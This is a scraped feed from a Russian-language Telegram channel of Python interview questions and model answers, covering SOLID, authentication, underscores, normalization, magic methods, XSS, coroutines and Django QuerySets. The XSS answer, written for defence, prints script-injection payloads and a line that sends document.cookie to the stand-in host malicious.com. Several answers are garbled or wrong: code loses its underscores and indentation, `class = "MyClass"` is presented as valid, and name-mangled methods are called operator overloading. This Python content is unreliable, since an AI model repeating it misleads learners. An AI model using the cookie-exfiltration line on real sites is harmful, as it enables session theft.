Python | Вопросы собесов
13.4K subscribers
8 photos
1 file
309 links
Разбираем вопросы с собеседований на Python разработчика. Django, Flask, FastApi

Реклама: @easyoffer_adv
Решай тесты - t.me/+20tRfhrwPpM4NDQy

Нарешивай задачи - t.me/+nsl4meWmhfQwNDVi
Ищи работу - t.me/+cXGKkrOY2-w3ZTky
Download Telegram
Какой принцип SOLID нарушается, если класс обрабатывает HTTP-запросы и одновременно формирует HTML-ответы?
Anonymous Quiz
12%
Принцип открытости/закрытости (OCP)
79%
Принцип единственной ответственности (SRP)
6%
Принцип инверсии зависимостей (DIP)
3%
Принцип подстановки Барбары Лисков (LSP)
Какая разница между аутентификацией и авторизацией ?
Спросят с вероятностью 3%

Аутентификация и авторизация — это два различных процесса управления доступом в системе безопасности, которые часто путают, но каждый из них играет свою уникальную роль.

- Аутентификация

Это процесс проверки удостоверения пользователя, то есть подтверждение его личности. Это первый шаг в процессе управления доступом, который удостоверяет, что пользователь действительно является тем, за кого себя выдает. Она может происходить разными способами, например, через ввод пароля, сканирование отпечатка пальца, распознавание лица, использование электронных ключей или одноразовых кодов. Основная цель аутентификации — убедиться в подлинности пользователя перед предоставлением доступа к системе или приложению.
# Пример простой формы аутентификации пользователя
def authenticate(username, password):
if username == "user" and password == "secret":
return True
else:
return False

# Проверка учетных данных пользователя
if authenticate("user", "secret"):
print("Аутентификация успешна.")
else:
print("Ошибка аутентификации.")


- Авторизация

Это процесс определения прав и привилегий пользователя, то есть что именно пользователь может делать в системе после успешной аутентификации. Это включает в себя доступ к различным ресурсам, таким как файлы, данные, функции и прочее. Она определяет, какие действия разрешены пользователю, основываясь на его ролях или политиках безопасности. Важно отметить, что процесс авторизации всегда следует за аутентификацией.
# Пример проверки прав пользователя на доступ к ресурсу
def authorize(user, action):
permissions = {"user": ["read"], "admin": ["read", "write", "delete"]}
return action in permissions.get(user.role, [])

# Проверка прав пользователя
if authorize(user, "write"):
print("Доступ к действию разрешен.")
else:
print("Доступ к действию запрещен.")


Ключевое отличие между аутентификацией и авторизацией заключается в том, что аутентификация проверяет, кто вы, а авторизация определяет, что вы можете делать. Аутентификация — это о вашей личности, авторизация — о ваших правах доступа.

Если мы представим ваш дом, то аутентификация — это когда вы используете ключ, чтобы открыть дверь и войти в дом (система узнает вас). Авторизация — это когда после входа в дом вы можете открыть только те комнаты, куда вам разрешено (система знает, что вы можете делать внутри).

Примеры ответов
Список всех вопросов на Python Developer
В чем разница между одинарным и двойным подчеркиванием ?
Спросят с вероятностью 10%

Символы одинарного и двойного подчеркивания имеют разные значения и использования:

1️⃣ Одинарное подчеркивание _:

- Обычно используется для обозначения временных или ненужных переменных. Например, при распаковке кортежа в цикле можно использовать _ для игнорирования значений, которые вам не нужны:
 for , value in some_list_of_tuples:
# используем только значение, переменная _ игнорируется
print(value)


- Может использоваться для предотвращения конфликтов с зарезервированными словами, такими как lambda или class. Например:
class = "MyClass"  # избегаем конфликта с зарезервированным словом class


2️⃣ Двойное подчеркивание __:

- В начале имени атрибута или метода (например, __attribute или __method) используется для создания "приватных" атрибутов и методов. Такие атрибуты и методы становятся "скрытыми" внутри класса и не могут быть непосредственно доступны за пределами класса или его подклассов (хотя они могут быть доступны через механизм именования манглинга).

- Используется для имитации перегрузки методов операторов. Например, метод add() может быть использован для переопределения оператора сложения + для объектов класса.

Пример приватного атрибута и перегрузки оператора:
class MyClass:
def init(self):
self.private_attribute = 42
def __add(self, other):
return self.private_attribute + other
obj = MyClass()
print(obj.__private_attribute) # Ошибка, так как __private_attribute является приватным атрибутом
print(obj.__add(8)) # Выведет: 50, перегрузка оператора сложения


Основное различие между одинарным и двойным подчеркиванием заключается в их использовании: одинарное подчеркивание обычно используется для временных переменных или избежания конфликтов имен, в то время как двойное подчеркивание используется для создания приватных атрибутов и методов, а также для перегрузки операторов.

👉 Можно посмотреть Примеры как отвечают люди на этот вопрос, или перейти К списку 1096 вопроса на Python разработчика. Ставь 👍 если нравится контент

🧩 Идущий | 🔐 Собесы | 🔐 Тестовые
Please open Telegram to view this post
VIEW IN TELEGRAM
Что известно про нормализацию ?
Спросят с вероятностью 7%

Нормализация - это процесс организации данных с целью уменьшения избыточности и обеспечения целостности данных. Процесс включает в себя разделение данных на отдельные таблицы и установление связей между этими таблицами. Основные принципы нормализации определены в нормальных формах.

Вот основные принципы:

1️⃣ Первая нормальная форма (1NF):
- Все атрибуты в таблице должны быть атомарными, то есть каждый атрибут должен содержать только одно значение.
- Все повторяющиеся группы атрибутов должны быть удалены.

2️⃣ Вторая нормальная форма (2NF):
- Таблица должна находиться в 1NF.
- Каждый нетривиальный атрибут должен быть полностью функционально зависим от первичного ключа, то есть отсутствие частичной функциональной зависимости.

3️⃣ Третья нормальная форма (3NF):
- Таблица должна находиться в 2NF.
- Нет зависимостей на основе неключевых атрибутов, то есть отсутствие транзитивных зависимостей.

4️⃣ Нормальная форма Бойса-Кодда (BCNF):
- Расширение третьей нормальной формы, в котором дополнительное требование состоит в том, чтобы каждое нетривиальное функциональное зависимость A → B, где B не является ключом, было зависимым только от кандидат-ключа.

5️⃣ Четвертая нормальная форма (4NF):
- После разделения данных в 3NF, не должно быть многозначных зависимостей относительно многозначных зависимостей.

6️⃣ Пятая нормальная форма (5NF):
- Основная цель - минимизировать избыточные связи между таблицами путем удаления зависимостей и разделения данных.

Применение нормализации в базе данных позволяет уменьшить дублирование данных, уменьшить объем хранимой информации, обеспечить более простой доступ к данным и повысить целостность данных. Однако следует помнить, что избыточная нормализация может привести к увеличению сложности запросов и ухудшению производительности. Поэтому необходимо находить баланс между нормализацией и производительностью системы.

👉 Можно посмотреть Примеры как отвечают люди на этот вопрос, или перейти К списку 1096 вопроса на Python разработчика. Ставь 👍 если нравится контент

🧩 Идущий | 🔐 Собесы | 🔐 Тестовые
Please open Telegram to view this post
VIEW IN TELEGRAM
Как аргументы передаются в функцию, по ссылке или по значению ?
Спросят с вероятностью 10%

Аргументы передаются в функцию по ссылке на объект. Это не совсем то же самое, что "по ссылке" в других языках программирования, где ссылки являются указателями на объекты в памяти.

Когда вы передаете аргумент в функцию, вы передаете ссылку на объект, а не сам объект. Это означает, что если вы изменяете значение аргумента внутри функции, то эти изменения будут отражены на самом объекте за пределами функции. Если вы присваиваете новое значение самому аргументу, это не изменит объекта за пределами функции.

Давайте рассмотрим пример:
def modify_list(my_list):
my_list.append(4) # изменяем список, на который ссылается аргумент
my_list = [1, 2, 3] # присваиваем новый список самому аргументу

original_list = [0]
modify_list(original_list)

print(original_list) # Выведет: [0, 4], изменения внутри функции отражены на оригинальном объекте


В этом примере список original_list изменяется внутри функции modify_list(), добавляя в него элемент 4. Эти изменения отражаются на самом объекте original_list, так как мы работаем с одним и тем же списком. Однако, когда мы присваиваем новый список переменной my_list внутри функции, это не изменяет объект original_list, а только изменяет то, на что ссылается аргумент функции.

Аргументы передаются по ссылке на объект, но поведение может отличаться в зависимости от того, какие операции вы выполняете с аргументами внутри функции.

👉 Можно посмотреть Примеры как отвечают люди на этот вопрос, или перейти К списку 1096 вопроса на Python разработчика. Ставь 👍 если нравится контент

🧩 Идущий | 🔐 Собесы | 🔐 Тестовые
Please open Telegram to view this post
VIEW IN TELEGRAM
Какие магические методы есть и для чего используются ?
Спросят с вероятностью 10%

Магические методы (иногда также называемые специальными методами) начинаются и заканчиваются двумя подчеркиваниями (например, init()). Они позволяют определить различное поведение для объектов, таких как перегрузка операторов, создание контекстных менеджеров, управление атрибутами и т. д. Вот несколько примеров наиболее часто используемых методов и их назначения:

1️⃣ init(self, ...): Вызывается при создании нового экземпляра класса и используется для инициализации его атрибутов.

2️⃣ repr(self): Возвращает "официальное" строковое представление объекта. Это используется для отладки и для получения строкового представления объекта при выводе в интерактивной оболочке.

3️⃣ str(self): Возвращает "неформальное" строковое представление объекта. Обычно используется для представления объекта в удобочитаемой форме для конечного пользователя.

4️⃣ len(self): Возвращает длину объекта. Это используется, когда объект поддерживает операцию получения длины, например, для строк, списков и т. д.

5️⃣ getitem(self, key): Позволяет объекту поддерживать доступ к элементам по индексу, как это делают списки и словари.

6️⃣ setitem(self, key, value): Позволяет объекту устанавливать значение элемента по ключу.

7️⃣ delitem(self, key): Позволяет объекту удалять элемент по ключу.

8️⃣ iter(self): Возвращает итератор для объекта, позволяя его использовать в циклах for.

9️⃣ next(self): Вызывается итератором для получения следующего элемента в последовательности.

🔟 enter(self), exit(self, exc_type, exc_value, traceback): Позволяют объекту быть контекстным менеджером, что позволяет определять действия, которые должны выполняться при входе и выходе из контекста.

Это лишь несколько примеров магических методов, которые можно определить. Они предоставляют мощные средства для определения поведения объектов и делают Python гибким и выразительным.

👉 Можно посмотреть Примеры как отвечают люди на этот вопрос, или перейти К списку 1096 вопроса на Python разработчика. Ставь 👍 если нравится контент

🧩 Идущий | 🔐 Собесы | 🔐 Тестовые
Please open Telegram to view this post
VIEW IN TELEGRAM
Что такое XSS. Примеры. Как защитить приложение ?
Спросят с вероятностью 3%

XSS (Cross-Site Scripting) — это вид атаки на веб-приложения, при котором злоумышленник внедряет вредоносные скрипты в контент веб-страниц, просматриваемых другими пользователями. Эти скрипты выполняются в браузере жертвы от имени веб-приложения, что может привести к краже учетных данных, сессий, изменению веб-страниц и другим безопасностным угрозам.

Примеры XSS-атак:

1️⃣ Отраженный XSS (Reflected XSS): Злоумышленник отправляет жертве ссылку с вредоносным кодом в параметрах запроса. Когда жертва переходит по ссылке, вредоносный код отражается от сервера в ответе и выполняется в браузере.
Пример ссылки: http://example.com/search?query=<script>alert('XSS')</script>


2️⃣ Сохраненный XSS (Stored XSS): Вредоносный скрипт сохраняется на сервере (например, в базе данных) и возвращается и выполняется в браузере каждого, кто просматривает зараженный контент. Это может произойти, если злоумышленник добавляет скрипт в комментарии на форуме, который не фильтрует вредоносный код.
Пример комментария: 

<script>alert('XSS')</script>


3️⃣ DOM-based XSS: Этот тип XSS происходит, когда вредоносный скрипт изменяет DOM (структуру документа) веб-страницы с помощью клиентского, не отправляя вредоносный код на сервер.

Пример:
document.location.href = 'http://malicious.com/?cookie=' + document.cookie;


Защита от XSS:

1️⃣ Экранирование ввода пользователя: Преобразование специальных символов (например, <, >, &, " и ') в их HTML-энтити (например, &lt;, &gt;, &amp;, &quot; и &#x27;) при отображении их на веб-странице. Это предотвращает интерпретацию введенных данных как часть HTML или JavaScript.

2️⃣ Использование Content Security Policy (CSP): Позволяет веб-приложениям указывать, какие источники контента разрешены для загрузки и выполнения, что помогает предотвратить выполнение вредоносных скриптов.

3️⃣ Валидация и санитизация данных: Строгая проверка вводимых данных на соответствие ожидаемому формату и очистка данных от потенциально опасных элементов перед их обработкой или сохранением.

4️⃣ Использование автоматических инструментов защиты: Фреймворки и библиотеки часто предлагают встроенные механизмы для защиты от XSS, такие как автоматическое экранирование вывода.

Пример защиты на стороне сервера:
from flask import Flask, request, escape

app = Flask(
name
)

@app.route('/search')
def search():
query = request.args.get('query', '')
# Экранирование строки запроса для безопасного отображения
safe_query = escape(query)
return f'Результаты поиска для: {safe_query}'

if
name
== '
main
':
app.run()


В этом примере, используя функцию escape из Flask, мы экранируем пользовательский ввод, чтобы предотвратить выполнение вредоносного кода, который мог бы быть встроен в запрос.

XSS — это серьезная угроза безопасности веб-приложений, позволяющая злоумышленникам выполнять вредоносные скрипты в браузерах пользователей. Для защиты от XSS необходимо экранировать ввод пользователя, использовать CSP, проводить валидацию и санитизацию данных, а также применять встроенные средства защиты веб-фреймворков.

XSS — это когда плохие люди вставляют в сайты вредоносные программы, чтобы украсть ваши данные или сделать что-то плохое. Защититься можно, делая специальные проверки данных, которые люди вводят на сайт, и не позволяя этим программам запускаться.

👉 Можно посмотреть Примеры как отвечают люди на этот вопрос, или перейти К списку 1096 вопроса на Python разработчика. Ставь 👍 если нравится контент

🧩 Идущий | 🔐 Собесы | 🔐 Тестовые
Please open Telegram to view this post
VIEW IN TELEGRAM
Что такое сложность алгоритма ?
Спросят с вероятностью 10%

Сложность алгоритма - это мера количества ресурсов (таких как время или память), необходимых для выполнения алгоритма в зависимости от размера входных данных. Основной целью изучения сложности алгоритмов является оценка их производительности и эффективности, что позволяет выбрать наиболее подходящий алгоритм для решения конкретных задач.

Существует два основных типа сложности алгоритмов:

1️⃣ Временная сложность: Временная сложность определяет количество времени, необходимое для его выполнения в зависимости от размера входных данных. Она измеряется обычно в количестве операций (например, сравнений или обменов) или в единицах времени (например, секундах или миллисекундах).

2️⃣ Пространственная сложность: Пространственная сложность определяет количество памяти, необходимое для его выполнения в зависимости от размера входных данных. Она измеряется обычно в количестве используемых байтов памяти.

Важно отметить, что сложность зависит не только от размера входных данных, но и от особенностей самого алгоритма. Например, некоторые алгоритмы могут иметь временную сложность O(n), что означает линейную зависимость времени выполнения от размера входных данных, в то время как другие могут иметь временную сложность O(n^2), что означает квадратичную зависимость времени выполнения.

Для оценки сложности алгоритмов обычно используются нотации большого O (O-нотация), Ω (омега-нотация) и Θ (тета-нотация), которые предоставляют верхнюю, нижнюю и точную оценки сложности соответственно. Например, алгоритм с временной сложностью O(n^2) будет иметь квадратичную зависимость времени выполнения от размера входных данных.

👉 Можно посмотреть Примеры как отвечают люди на этот вопрос, или перейти К списку 1096 вопроса на Python разработчика. Ставь 👍 если нравится контент

🔐 База собесов | 🔐 База тестовых
Что быстрее, словарь или список ?
Спросят с вероятностью 10%

Вопрос о том, что быстрее - словарь или список, зависит от конкретной задачи и способа использования этих структур данных.

Если вам нужно осуществлять поиск элементов по ключу, то словарь (тип данных dict) будет быстрее списка (тип данных list). В словаре поиск элемента по ключу выполняется за время, близкое к O(1), в то время как в списке поиск элемента выполняется за время O(n), где n - это количество элементов в списке.

Однако, если вам нужно осуществлять доступ к элементам по индексу или выполнять итерацию по всем элементам в определенном порядке, то список может быть быстрее. В списке доступ к элементу по индексу выполняется за время O(1), в то время как в словаре доступ к элементу по ключу также выполняется за время, близкое к O(1), но требует дополнительных вычислений для хеширования ключа.

Выбор между словарем и списком зависит от конкретной задачи и требований к производительности. Если вам нужен быстрый поиск по ключу, используйте словарь. Когда вам нужно хранить элементы в определенном порядке или выполнить доступ к элементам по индексу, используйте список. В некоторых случаях также можно использовать компромисные решения, такие как использование списка кортежей (tuple) или списков словарей (list of dicts), чтобы объединить преимущества обеих структур данных.

👉 Можно посмотреть Примеры как отвечают люди на этот вопрос, или перейти К списку 1096 вопроса на Python разработчика. Ставь 👍 если нравится контент

🔐 База собесов | 🔐 База тестовых
Что такое корутина ?
Спросят с вероятностью 10%

Корутина (Coroutine) - это специальный вид функции, который позволяет приостанавливать и возобновлять выполнение в произвольный момент времени. Корутины обеспечивают кооперативную многозадачность, что означает, что они позволяют явно управлять потоком выполнения в своем коде.

Основные характеристики:

1️⃣ Асинхронность: Широко используются в асинхронном программировании, таком как асинхронные веб-серверы или сетевые клиенты. Они позволяют выполнять такие операции без блокирования основного потока выполнения.

2️⃣ yield/yield from: Для определения корутины используется ключевое слово yield или yield from, которое указывает места, где выполнение может быть приостановлено и возвращено обратно в вызывающий код.

3️⃣ Возобновление выполнения: Может быть возобновлена, чтобы продолжить выполнение с того же места, где она была приостановлена, и передать ей новые данные.

4️⃣ Сопрограммы: Их также называют сопрограммами (Subroutine), так как они представляют собой подпрограммы, которые могут быть вызваны и возобновлены.

Пример:
async def my_coroutine():
print("Starting coroutine")
await asyncio.sleep(1) # Асинхронное ожидание в течение 1 секунды
print("Coroutine completed")

# Вызов корутины
coro = my_coroutine()


Здесь async def обозначает определение асинхронной функции (корутины). Ключевое слово await используется для ожидания выполнения асинхронной операции, такой как asyncio.sleep(). Когда await используется внутри корутины, выполнение корутины приостанавливается до завершения операции, переданной в await, а затем возобновляется с последующей строки.

👉 Можно посмотреть Примеры как отвечают люди на этот вопрос, или перейти К списку 1096 вопроса на Python разработчика. Ставь 👍 если нравится контент

🔐 База собесов | 🔐 База тестовых
Основные сущности в Django ?
Спросят с вероятностью 7%

Django - это популярный фреймворк для веб-разработки. В нем существует несколько основных сущностей, которые играют важную роль в процессе разработки веб-приложений:

1️⃣ Модели (Models):
- Модели представляют собой объекты, которые отображаются на таблицы в базе данных. Каждая модель определяет структуру данных, атрибуты и методы для работы с этими данными. Модели Django используют ORM (Object-Relational Mapping) для взаимодействия с базой данных.

2️⃣ Представления (Views):
- Представления - это функции или классы, которые обрабатывают запросы от клиента и возвращают ответы. Они содержат бизнес-логику приложения и используют данные из моделей для генерации контента для клиента.

3️⃣ Шаблоны (Templates):
- Шаблоны - это файлы HTML, которые содержат статический контент страницы и динамические данные, предоставляемые представлениями. В шаблонах используется специальный синтаксис Django (шаблонный язык) для вставки данных из контекста представления.

4️⃣ URL-маршруты (URLs):
- URL-маршруты определяют соответствие между URL-адресами запросов и функциями представлений, которые должны обрабатывать эти запросы. Они определяются в файле urls.py каждого приложения и могут включать динамические параметры.

5️⃣ Формы (Forms):
- Формы Django позволяют работать с данными, отправляемыми пользователем через веб-интерфейс. Они могут быть связаны с моделями для автоматического создания и обновления записей в базе данных, а также включают валидацию данных.

6️⃣ Административный интерфейс (Admin):
- Django поставляется с встроенным административным интерфейсом, который автоматически создается на основе определений моделей. Он предоставляет интерфейс для управления данными приложения, включая добавление, редактирование и удаление записей.

7️⃣ Настройки (Settings):
- Файл настроек Django (settings.py) содержит все конфигурации проекта, включая параметры базы данных, настройки безопасности, настройки маршрутизации и многое другое.

Это основные сущности в Django, которые играют ключевую роль в разработке веб-приложений на этой платформе. С их помощью разработчики могут эффективно создавать, управлять и взаимодействовать с веб-приложениями на его основе.

👉 Можно посмотреть Примеры как отвечают люди на этот вопрос, или перейти К списку 1096 вопроса на Python разработчика. Ставь 👍 если нравится контент

🔐 База собесов | 🔐 База тестовых
Что такое querySet() в Django ?
Спросят с вероятностью 7%

QuerySet - это объект, который представляет набор результатов запроса к базе данных в Django. Он создается при выполнении запроса к модели с использованием менеджера объектов (Object Manager) и представляет собой список объектов, удовлетворяющих условиям запроса.

Этот объект предоставляет множество методов для выполнения операций над данными, таких как фильтрация, сортировка, обрезка (slicing), агрегация и другие. Он также лениво вычисляется, что означает, что результаты запроса к базе данных не извлекаются, пока это не потребуется, например, при выполнении итерации по нему или вызове метода, который требует выполнения запроса (например, len() или list()).

1️⃣ Фильтрация объектов:
   # Получить все объекты, у которых поле 'name' равно 'John'
queryset = MyModel.objects.filter(name='John')

2️⃣
Сортировка объектов:
   # Получить все объекты, отсортированные по полю 'date' в порядке убывания
queryset = MyModel.objects.order_by('-date')

3️⃣
Извлечение определенного количества объектов:
   # Получить первые 10 объектов
queryset = MyModel.objects.all()[:10]

4️⃣
Итерация по результатам запроса:
   # Вывести все имена объектов из QuerySet
queryset = MyModel.objects.all()
for obj in queryset:
print(obj.name)


QuerySet предоставляет мощный и гибкий способ работы с данными в Django и является ключевой частью ORM-функционала фреймворка.

👉 Можно посмотреть Примеры как отвечают люди на этот вопрос, или перейти К списку 1096 вопроса на Python разработчика. Ставь 👍 если нравится контент

🔐 База собесов | 🔐 База тестовых